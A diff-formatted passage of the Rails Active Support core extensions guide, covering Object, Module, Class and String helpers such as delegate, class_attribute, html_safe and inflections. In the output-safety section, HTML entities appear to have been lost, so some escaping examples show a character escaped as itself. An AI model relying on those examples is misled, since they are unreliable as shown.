+I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
+ subject i18n.t :subject
+ body i18n.t :body, user_name: user.name
+end
+```
+
+TIP: Since `with_options` forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
+
+NOTE: Defined in `active_support/core_ext/object/with_options.rb`.
+
+### Instance Variables
+
+Active Support provides several methods to ease access to instance variables.
+
+#### `instance_values`
+
+The method `instance_values` returns a hash that maps instance variable names without "@" to their
+corresponding values. Keys are strings:
+
+```ruby
+class C
+ def initialize(x, y)
+ @x, @y = x, y
+ end
+end
+
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+```
+
+NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
+
+### Silencing Warnings, Streams, and Exceptions
+
+The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards:
+
+```ruby
+silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
+```
+
+You can silence any stream while a block runs with `silence_stream`:
+
+```ruby
+silence_stream(STDOUT) do
+ # STDOUT is silent here
+end
+```
+
+The `quietly` method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:
+
+```ruby
+quietly { system 'bundle install' }
+```
+
+For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status.
+
+Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is reraised:
+
+```ruby
+# If the user is locked the increment is lost, no big deal.
+suppress(ActiveRecord::StaleObjectError) do
+ current_user.increment! :visits
+end
+```
+
+NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`.
+
+### `in?`
+
+The predicate `in?` tests if an object is included in another object or a list of objects. An `ArgumentError` exception will be raised if a single argument is passed and it does not respond to `include?`.
+
+Examples of `in?`:
+
+```ruby
+1.in?(1,2) # => true
+1.in?([1,2]) # => true
+"lo".in?("hello") # => true
+25.in?(30..50) # => false
+1.in?(1) # => ArgumentError
+```
+
+NOTE: Defined in `active_support/core_ext/object/inclusion.rb`.
+
+Extensions to `Module`
+----------------------
+
+### `alias_method_chain`
+
+Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_.
+
+For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap `ActionController::TestCase#process` this way in `test/test_helper.rb`:
+
+```ruby
+ActionController::TestCase.class_eval do
+ # save a reference to the original process method
+ alias_method :original_process, :process
+
+ # now redefine process and delegate to original_process
+ def process(action, params=nil, session=nil, flash=nil, http_method='GET')
+ params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+ original_process(action, params, session, flash, http_method)
+ end
+end
+```
+
+That's the method `get`, `post`, etc., delegate the work to.
+
+That technique has a risk, it could be the case that `:original_process` was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:
+
+```ruby
+ActionController::TestCase.class_eval do
+ def process_with_stringified_params(...)
+ params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+ process_without_stringified_params(action, params, session, flash, http_method)
+ end
+ alias_method :process_without_stringified_params, :process
+ alias_method :process, :process_with_stringified_params
+end
+```
+
+The method `alias_method_chain` provides a shortcut for that pattern:
+
+```ruby
+ActionController::TestCase.class_eval do
+ def process_with_stringified_params(...)
+ params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+ process_without_stringified_params(action, params, session, flash, http_method)
+ end
+ alias_method_chain :process, :stringified_params
+end
+```
+
+Rails uses `alias_method_chain` all over the code base. For example validations are added to `ActiveRecord::Base#save` by wrapping the method that way in a separate module specialized in validations.
+
+NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
+
+### Attributes
+
+#### `alias_attribute`
+
+Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
+
+```ruby
+class User < ActiveRecord::Base
+ # let me refer to the email column as "login",
+ # possibly meaningful for authentication code
+ alias_attribute :login, :email
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
+
+#### Internal Attributes
+
+When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.
+
+Active Support defines the macros `attr_internal_reader`, `attr_internal_writer`, and `attr_internal_accessor`. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
+
+The macro `attr_internal` is a synonym for `attr_internal_accessor`:
+
+```ruby
+# library
+class ThirdPartyLibrary::Crawler
+ attr_internal :log_level
+end
+
+# client code
+class MyCrawler < ThirdPartyLibrary::Crawler
+ attr_accessor :log_level
+end
+```
+
+In the previous example it could be the case that `:log_level` does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own `:log_level`. Thanks to `attr_internal` there's no collision.
+
+By default the internal instance variable is named with a leading underscore, `@_log_level` in the example above. That's configurable via `Module.attr_internal_naming_format` though, you can pass any `sprintf`-like format string with a leading `@` and a `%s` somewhere, which is where the name will be placed. The default is `"@_%s"`.
+
+Rails uses internal attributes in a few spots, for examples for views:
+
+```ruby
+module ActionView
+ class Base
+ attr_internal :captures
+ attr_internal :request, :layout
+ attr_internal :controller, :template
+ end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
+
+#### Module Attributes
+
+The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes).
+
+For example, the dependencies mechanism uses them:
+
+```ruby
+module ActiveSupport
+ module Dependencies
+ mattr_accessor :warnings_on_first_load
+ mattr_accessor :history
+ mattr_accessor :loaded
+ mattr_accessor :mechanism
+ mattr_accessor :load_paths
+ mattr_accessor :load_once_paths
+ mattr_accessor :autoloaded_constants
+ mattr_accessor :explicitly_unloadable_constants
+ mattr_accessor :logger
+ mattr_accessor :log_activity
+ mattr_accessor :constant_watch_stack
+ mattr_accessor :constant_watch_stack_mutex
+ end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.

+#### `parent`
+
+The `parent` method on a nested named module returns the module that contains its corresponding constant:
+
+```ruby
+module X
+ module Y
+ module Z
+ end
+ end
+end
+M = X::Y::Z
+
+X::Y::Z.parent # => X::Y
+M.parent # => X::Y
+```
+
+If the module is anonymous or belongs to the top-level, `parent` returns `Object`.
+
+WARNING: Note that in that case `parent_name` returns `nil`.
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### `parent_name`
+
+The `parent_name` method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
+
+```ruby
+module X
+ module Y
+ module Z
+ end
+ end
+end
+M = X::Y::Z
+
+X::Y::Z.parent_name # => "X::Y"
+M.parent_name # => "X::Y"
+```
+
+For top-level or anonymous modules `parent_name` returns `nil`.
+
+WARNING: Note that in that case `parent` returns `Object`.
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### `parents`
+
+The method `parents` calls `parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top:
+
+```ruby
+module X
+ module Y
+ module Z
+ end
+ end
+end
+M = X::Y::Z
+
+X::Y::Z.parents # => [X::Y, X, Object]
+M.parents # => [X::Y, X, Object]
+```
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+### Constants
+
+The method `local_constants` returns the names of the constants that have been
+defined in the receiver module:
+
+```ruby
+module X
+ X1 = 1
+ X2 = 2
+ module Y
+ Y1 = :y1
+ X1 = :overrides_X1_above
+ end
+end
+
+X.local_constants # => [:X1, :X2, :Y]
+X::Y.local_constants # => [:Y1, :X1]
+```
+
+The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.)
+
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
+
+#### Qualified Constant Names
+
+The standard methods `const_defined?`, `const_get` , and `const_set` accept
+bare constant names. Active Support extends this API to be able to pass
+relative qualified constant names.
+
+The new methods are `qualified_const_defined?`, `qualified_const_get`, and
+`qualified_const_set`. Their arguments are assumed to be qualified constant
+names relative to their receiver:
+
+```ruby
+Object.qualified_const_defined?("Math::PI") # => true
+Object.qualified_const_get("Math::PI") # => 3.141592653589793
+Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
+```
+
+Arguments may be bare constant names:
+
+```ruby
+Math.qualified_const_get("E") # => 2.718281828459045
+```
+
+These methods are analogous to their builtin counterparts. In particular,
+`qualified_constant_defined?` accepts an optional second argument to be
+able to say whether you want the predicate to look in the ancestors.
+This flag is taken into account for each constant in the expression while
+walking down the path.
+
+For example, given
+
+```ruby
+module M
+ X = 1
+end
+
+module N
+ class C
+ include M
+ end
+end
+```
+
+`qualified_const_defined?` behaves this way:
+
+```ruby
+N.qualified_const_defined?("C::X", false) # => false
+N.qualified_const_defined?("C::X", true) # => true
+N.qualified_const_defined?("C::X") # => true
+```
+
+As the last example implies, the second argument defaults to true,
+as in `const_defined?`.
+
+For coherence with the builtin methods only relative paths are accepted.
+Absolute qualified constant names like `::Math::PI` raise `NameError`.
+
+NOTE: Defined in `active_support/core_ext/module/qualified_const.rb`.
+
+### Reachable
+
+A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
+
+That is what ordinarily happens, if a module is called "M", the `M` constant exists and holds it:
+
+```ruby
+module M
+end
+
+M.reachable? # => true
+```
+
+But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
+
+```ruby
+module M
+end
+
+orphan = Object.send(:remove_const, :M)
+
+# The module object is orphan now but it still has a name.
+orphan.name # => "M"
+
+# You cannot reach it via the constant M because it does not even exist.
+orphan.reachable? # => false
+
+# Let's define a module called "M" again.
+module M
+end
+
+# The constant M exists now again, and it stores a module
+# object called "M", but it is a new instance.
+orphan.reachable? # => false
+```
+
+NOTE: Defined in `active_support/core_ext/module/reachable.rb`.
+
+### Anonymous
+
+A module may or may not have a name:
+
+```ruby
+module M
+end
+M.name # => "M"
+
+N = Module.new
+N.name # => "N"
+
+Module.new.name # => nil
+```
+
+You can check whether a module has a name with the predicate `anonymous?`:
+
+```ruby
+module M
+end
+M.anonymous? # => false
+
+Module.new.anonymous? # => true
+```
+
+Note that being unreachable does not imply being anonymous:
+
+```ruby
+module M
+end
+
+m = Object.send(:remove_const, :M)
+
+m.reachable? # => false
+m.anonymous? # => false
+```
+
+though an anonymous module is unreachable by definition.
+
+NOTE: Defined in `active_support/core_ext/module/anonymous.rb`.
+
+### Method Delegation
+
+The macro `delegate` offers an easy way to forward methods.
+
+Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model:
+
+```ruby
+class User < ActiveRecord::Base
+ has_one :profile
+end
+```
+
+With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
+
+```ruby
+class User < ActiveRecord::Base
+ has_one :profile
+
+ def name
+ profile.name
+ end
+end
+```
+
+That is what `delegate` does for you:
+
+```ruby
+class User < ActiveRecord::Base
+ has_one :profile
+
+ delegate :name, to: :profile
+end
+```
+
+It is shorter, and the intention more obvious.
+
+The method must be public in the target.
+
+The `delegate` macro accepts several methods:
+
+```ruby
+delegate :name, :age, :address, :twitter, to: :profile
+```
+
+When interpolated into a string, the `:to` option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:
+
+```ruby
+# delegates to the Rails constant
+delegate :logger, to: :Rails
+
+# delegates to the receiver's class
+delegate :table_name, to: :class
+```
+
+WARNING: If the `:prefix` option is `true` this is less generic, see below.
+
+By default, if the delegation raises `NoMethodError` and the target is `nil` the exception is propagated. You can ask that `nil` is returned instead with the `:allow_nil` option:
+
+```ruby
+delegate :name, to: :profile, allow_nil: true
+```
+
+With `:allow_nil` the call `user.name` returns `nil` if the user has no profile.
+
+The option `:prefix` adds a prefix to the name of the generated method. This may be handy for example to get a better name:
+
+```ruby
+delegate :street, to: :address, prefix: true
+```
+
+The previous example generates `address_street` rather than `street`.
+
+WARNING: Since in this case the name of the generated method is composed of the target object and target method names, the `:to` option must be a method name.
+
+A custom prefix may also be configured:
+
+```ruby
+delegate :size, to: :attachment, prefix: :avatar
+```
+
+In the previous example the macro generates `avatar_size` rather than `size`.
+
+NOTE: Defined in `active_support/core_ext/module/delegation.rb`
+
+### Redefining Methods
+
+There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
+
+The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
+
+```ruby
+redefine_method("#{reflection.name}=") do |new_value|
+ association = association_instance_get(reflection.name)
+
+ if association.nil? || association.target != new_value
+ association = association_proxy_class.new(self, reflection)
+ end
+
+ association.replace(new_value)
+ association_instance_set(reflection.name, new_value.nil? ? nil : association)
+end
+```
+
+NOTE: Defined in `active_support/core_ext/module/remove_method.rb`
+
+Extensions to `Class`
+---------------------
+
+### Class Attributes
+
+#### `class_attribute`
+
+The method `class_attribute` declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
+
+```ruby
+class A
+ class_attribute :x
+end
+
+class B < A; end
+
+class C < B; end
+
+A.x = :a
+B.x # => :a
+C.x # => :a
+
+B.x = :b
+A.x # => :a
+C.x # => :b
+
+C.x = :c
+A.x # => :a
+B.x # => :b
+```
+
+For example `ActionMailer::Base` defines:
+
+```ruby
+class_attribute :default_params
+self.default_params = {
+ mime_version: "1.0",
+ charset: "UTF-8",
+ content_type: "text/plain",
+ parts_order: [ "text/plain", "text/enriched", "text/html" ]
+}.freeze
+```
+
+They can be also accessed and overridden at the instance level.
+
+```ruby
+A.x = 1
+
+a1 = A.new
+a2 = A.new
+a2.x = 2
+
+a1.x # => 1, comes from A
+a2.x # => 2, overridden in a2
+```
+
+The generation of the writer instance method can be prevented by setting the option `:instance_writer` to `false`.
+
+```ruby
+module ActiveRecord
+ class Base
+ class_attribute :table_name_prefix, instance_writer: false
+ self.table_name_prefix = ""
+ end
+end
+```
+
+A model may find that option useful as a way to prevent mass-assignment from setting the attribute.
+
+The generation of the reader instance method can be prevented by setting the option `:instance_reader` to `false`.
+
+```ruby
+class A
+ class_attribute :x, instance_reader: false
+end
+
+A.new.x = 1 # NoMethodError
+```
+
+For convenience `class_attribute` also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called `x?`.
+
+When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method.
+
+If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined.
+
+NOTE: Defined in `active_support/core_ext/class/attribute.rb`
+
+#### `cattr_reader`, `cattr_writer`, and `cattr_accessor`
+
+The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it:
+
+```ruby
+class MysqlAdapter < AbstractAdapter
+ # Generates class methods to access @@emulate_booleans.
+ cattr_accessor :emulate_booleans
+ self.emulate_booleans = true
+end
+```
+
+Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with `class_attribute` (see above). For example given
+
+```ruby
+module ActionView
+ class Base
+ cattr_accessor :field_error_proc
+ @@field_error_proc = Proc.new{ ... }
+ end
+end
+```
+
+we can access `field_error_proc` in views.
+
+The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.
+
+```ruby
+module A
+ class B
+ # No first_name instance reader is generated.
+ cattr_accessor :first_name, instance_reader: false
+ # No last_name= instance writer is generated.
+ cattr_accessor :last_name, instance_writer: false
+ # No surname instance reader or surname= writer is generated.
+ cattr_accessor :surname, instance_accessor: false
+ end
+end
+```
+
+A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.
+
+NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`.
+
+### Subclasses & Descendants
+
+#### `subclasses`
+
+The `subclasses` method returns the subclasses of the receiver:
+
+```ruby
+class C; end
+C.subclasses # => []
+
+class B < C; end
+C.subclasses # => [B]
+
+class A < B; end
+C.subclasses # => [B]
+
+class D < C; end
+C.subclasses # => [B, D]
+```
+
+The order in which these classes are returned is unspecified.
+
+NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
+
+#### `descendants`
+
+The `descendants` method returns all classes that are `<` than its receiver:
+
+```ruby
+class C; end
+C.descendants # => []
+
+class B < C; end
+C.descendants # => [B]
+
+class A < B; end
+C.descendants # => [B, A]
+
+class D < C; end
+C.descendants # => [B, A, D]
+```
+
+The order in which these classes are returned is unspecified.
+
+NOTE: Defined in `active_support/core_ext/class/subclasses.rb`.
+
+Extensions to `String`
+----------------------
+
+### Output Safety
+
+#### Motivation
+
+Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in t [...]
+
+#### Safe Strings
+
+Active Support has the concept of <i>(html) safe</i> strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
+
+Strings are considered to be <i>unsafe</i> by default:
+
+```ruby
+"".html_safe? # => false
+```
+
+You can obtain a safe string from a given one with the `html_safe` method:
+
+```ruby
+s = "".html_safe
+s.html_safe? # => true
+```
+
+It is important to understand that `html_safe` performs no escaping whatsoever, it is just an assertion:
+
+```ruby
+s = "<script>...</script>".html_safe
+s.html_safe? # => true
+s # => "<script>...</script>"
+```
+
+It is your responsibility to ensure calling `html_safe` on a particular string is fine.
+
+If you append onto a safe string, either in-place with `concat`/`<<`, or with `+`, the result is a safe string. Unsafe arguments are escaped:
+
+```ruby
+"".html_safe + "<" # => "<"
+```
+
+Safe arguments are directly appended:
+
+```ruby
+"".html_safe + "<".html_safe # => "<"
+```
+
+These methods should not be used in ordinary views. Unsafe values are automatically escaped:
+
+```erb
+<%= @review.title %> <%# fine, escaped if needed %>
+```
+
+To insert something verbatim use the `raw` helper rather than calling `html_safe`:
+
+```erb
+<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
+```
+
+or, equivalently, use `<%==`:
+
+```erb
+<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
+```
+
+The `raw` helper calls `html_safe` for you:
+
+```ruby
+def raw(stringish)
+ stringish.to_s.html_safe
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/output_safety.rb`.
+
+#### Transformation
+
+As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc.
+
+In the case of in-place transformations like `gsub!` the receiver itself becomes unsafe.
+
+INFO: The safety bit is lost always, no matter whether the transformation actually changed something.
+
+#### Conversion and Coercion
+
+Calling `to_s` on a safe string returns a safe string, but coercion with `to_str` returns an unsafe string.
+
+#### Copying
+
+Calling `dup` or `clone` on safe strings yields safe strings.
+
+### `squish`
+
+The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
+
+```ruby
+" \n foo\n\r \t bar \n".squish # => "foo bar"
+```
+
+There's also the destructive version `String#squish!`.
+
+Note that it handles both ASCII and Unicode whitespace like mongolian vowel separator (U+180E).
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `truncate`
+
+The method `truncate` returns a copy of its receiver truncated after a given `length`:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(20)
+# => "Oh dear! Oh dear!..."
+```
+
+Ellipsis can be customized with the `:omission` option:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '…')
+# => "Oh dear! Oh …"
+```
+
+Note in particular that truncation takes into account the length of the omission string.
+
+Pass a `:separator` to truncate the string at a natural break:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(18)
+# => "Oh dear! Oh dea..."
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
+# => "Oh dear! Oh..."
+```
+
+The option `:separator` can be a regexp:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
+# => "Oh dear! Oh..."
+```
+
+In above examples "dear" gets cut first, but then `:separator` prevents it.
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
+### `inquiry`
+
+The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier.
+
+```ruby
+"production".inquiry.production? # => true
+"active".inquiry.inactive? # => false
+```
+
+### `starts_with?` and `ends_with?`
+
+Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`:
+
+```ruby
+"foo".starts_with?("f") # => true
+"foo".ends_with?("o") # => true
+```
+
+NOTE: Defined in `active_support/core_ext/string/starts_ends_with.rb`.
+
+### `strip_heredoc`
+
+The method `strip_heredoc` strips indentation in heredocs.
+
+For example in
+
+```ruby
+if options[:usage]
+ puts <<-USAGE.strip_heredoc
+ This command does such and such.
+
+ Supported options are:
+ -h This message
+ ...
+ USAGE
+end
+```
+
+the user would see the usage message aligned against the left margin.
+
+Technically, it looks for the least indented line in the whole string, and removes
+that amount of leading whitespace.
+
+NOTE: Defined in `active_support/core_ext/string/strip.rb`.
+
+### `indent`
+
+Indents the lines in the receiver:
+
+```ruby
+<<EOS.indent(2)
+def some_method
+ some_code
+end
+EOS
+# =>
+ def some_method
+ some_code
+ end
+```
+
+The second argument, `indent_string`, specifies which indent string to use. The default is `nil`, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.
+
+```ruby
+" foo".indent(2) # => " foo"
+"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+"foo".indent(2, "\t") # => "\t\tfoo"
+```
+
+While `indent_string` is typically one space or tab, it may be any string.
+
+The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false.
+
+```ruby
+"foo\n\nbar".indent(2) # => " foo\n\n bar"
+"foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar"
+```
+
+The `indent!` method performs indentation in-place.
+
+### Access
+
+#### `at(position)`
+
+Returns the character of the string at position `position`:
+
+```ruby
+"hello".at(0) # => "h"
+"hello".at(4) # => "o"
+"hello".at(-1) # => "o"
+"hello".at(10) # => nil
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `from(position)`
+
+Returns the substring of the string starting at position `position`:
+
+```ruby
+"hello".from(0) # => "hello"
+"hello".from(2) # => "llo"
+"hello".from(-2) # => "lo"
+"hello".from(10) # => "" if < 1.9, nil in 1.9
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `to(position)`
+
+Returns the substring of the string up to position `position`:
+
+```ruby
+"hello".to(0) # => "h"
+"hello".to(2) # => "hel"
+"hello".to(-2) # => "hell"
+"hello".to(10) # => "hello"
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `first(limit = 1)`
+
+The call `str.first(n)` is equivalent to `str.to(n-1)` if `n` > 0, and returns an empty string for `n` == 0.
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `last(limit = 1)`
+
+The call `str.last(n)` is equivalent to `str.from(-n)` if `n` > 0, and returns an empty string for `n` == 0.
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+### Inflections
+
+#### `pluralize`
+
+The method `pluralize` returns the plural of its receiver:
+
+```ruby
+"table".pluralize # => "tables"
+"ruby".pluralize # => "rubies"
+"equipment".pluralize # => "equipment"
+```
+
+As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments.
+
+`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned:
+
+```ruby
+"dude".pluralize(0) # => "dudes"
+"dude".pluralize(1) # => "dude"
+"dude".pluralize(2) # => "dudes"
+```
+
+Active Record uses this method to compute the default table name that corresponds to a model:
+
+```ruby
+# active_record/model_schema.rb
+def undecorated_table_name(class_name = base_class.name)
+ table_name = class_name.to_s.demodulize.underscore
+ pluralize_table_names ? table_name.pluralize : table_name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `singularize`
+
+The inverse of `pluralize`:
+
+```ruby
+"tables".singularize # => "table"
+"rubies".singularize # => "ruby"
+"equipment".singularize # => "equipment"
+```
+
+Associations compute the name of the corresponding default associated class using this method:
+
+```ruby
+# active_record/reflection.rb
+def derive_class_name
+ class_name = name.to_s.camelize
+ class_name = class_name.singularize if collection?
+ class_name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `camelize`
+
+The method `camelize` returns its receiver in camel case:
+
+```ruby
+"product".camelize # => "Product"
+"admin_user".camelize # => "AdminUser"
+```
+
+As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:
+
+```ruby
+"backoffice/session".camelize # => "Backoffice::Session"
+```
+
+For example, Action Pack uses this method to load the class that provides a certain session store:
+
+```ruby
+# action_controller/metal/session_management.rb
+def session_store=(store)
+ @@session_store = store.is_a?(Symbol) ?
+ ActionDispatch::Session.const_get(store.to_s.camelize) :
+ store
+end
+```
+
+`camelize` accepts an optional argument, it can be `:upper` (default), or `:lower`. With the latter the first letter becomes lowercase:
+
+```ruby
+"visual_effect".camelize(:lower) # => "visualEffect"
+```
+
+That may be handy to compute method names in a language that follows that convention, for example JavaScript.
+
+INFO: As a rule of thumb you can think of `camelize` as the inverse of `underscore`, though there are cases where that does not hold: `"SSLError".underscore.camelize` gives back `"SslError"`. To support cases such as this, Active Support allows you to specify acronyms in `config/initializers/inflections.rb`:
+
+```ruby
+ActiveSupport::Inflector.inflections do |inflect|
+ inflect.acronym 'SSL'
+end
+
+"SSLError".underscore.camelize #=> "SSLError"
+```
+
+`camelize` is aliased to `camelcase`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `underscore`
+
+The method `underscore` goes the other way around, from camel case to paths:
+
+```ruby
+"Product".underscore # => "product"
+"AdminUser".underscore # => "admin_user"
+```
+
+Also converts "::" back to "/":
+
+```ruby
+"Backoffice::Session".underscore # => "backoffice/session"
+```
+
+and understands strings that start with lowercase:
+
+```ruby
+"visualEffect".underscore # => "visual_effect"
+```
+
+`underscore` accepts no argument though.
+
+Rails class and module autoloading uses `underscore` to infer the relative path without extension of a file that would define a given missing constant:
+
+```ruby
+# active_support/dependencies.rb
+def load_missing_constant(from_mod, const_name)
+ ...
+ qualified_name = qualified_name_for from_mod, const_name
+ path_suffix = qualified_name.underscore
+ ...
+end
+```
+
+INFO: As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `titleize`
+
+The method `titleize` capitalizes the words in the receiver:
+
+```ruby
+"alice in wonderland".titleize # => "Alice In Wonderland"
+"fermat's enigma".titleize # => "Fermat's Enigma"
+```
+
+`titleize` is aliased to `titlecase`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `dasherize`
+
+The method `dasherize` replaces the underscores in the receiver with dashes:
+
+```ruby
+"name".dasherize # => "name"
+"contact_data".dasherize # => "contact-data"
+```
+
+The XML serializer of models uses this method to dasherize node names:
+
+```ruby
+# active_model/serializers/xml.rb
+def reformat_name(name)
+ name = name.camelize if camelize?
+ dasherize? ? name.dasherize : name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `demodulize`
+
+Given a string with a qualified constant name, `demodulize` returns the very constant name, that is, the rightmost part of it:
+
+```ruby
+"Product".demodulize # => "Product"
+"Backoffice::UsersController".demodulize # => "UsersController"
+"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+```
+
+Active Record for example uses this method to compute the name of a counter cache column:
+
+```ruby
+# active_record/reflection.rb
+def counter_cache_column
+ if options[:counter_cache] == true
+ "#{active_record.name.demodulize.underscore.pluralize}_count"
+ elsif options[:counter_cache]
+ options[:counter_cache]
+ end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `deconstantize`
+
+Given a string with a qualified constant reference expression, `deconstantize` removes the rightmost segment, generally leaving the name of the constant's container:
+
+```ruby
+"Product".deconstantize # => ""
+"Backoffice::UsersController".deconstantize # => "Backoffice"
+"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
+```
+
+Active Support for example uses this method in `Module#qualified_const_set`:
+
+```ruby
+def qualified_const_set(path, value)
+ QualifiedConstUtils.raise_if_absolute(path)
+
+ const_name = path.demodulize
+ mod_name = path.deconstantize
+ mod = mod_name.empty? ? self : qualified_const_get(mod_name)
+ mod.const_set(const_name, value)
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `parameterize`
+
+The method `parameterize` normalizes its receiver in a way that can be used in pretty URLs.
+
+```ruby
+"John Smith".parameterize # => "john-smith"
+"Kurt Gödel".parameterize # => "kurt-godel"
+```
+
+In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `tableize`
+
+The method `tableize` is `underscore` followed by `pluralize`.
+
+```ruby
+"Person".tableize # => "people"
+"Invoice".tableize # => "invoices"
+"InvoiceLine".tableize # => "invoice_lines"
+```
+
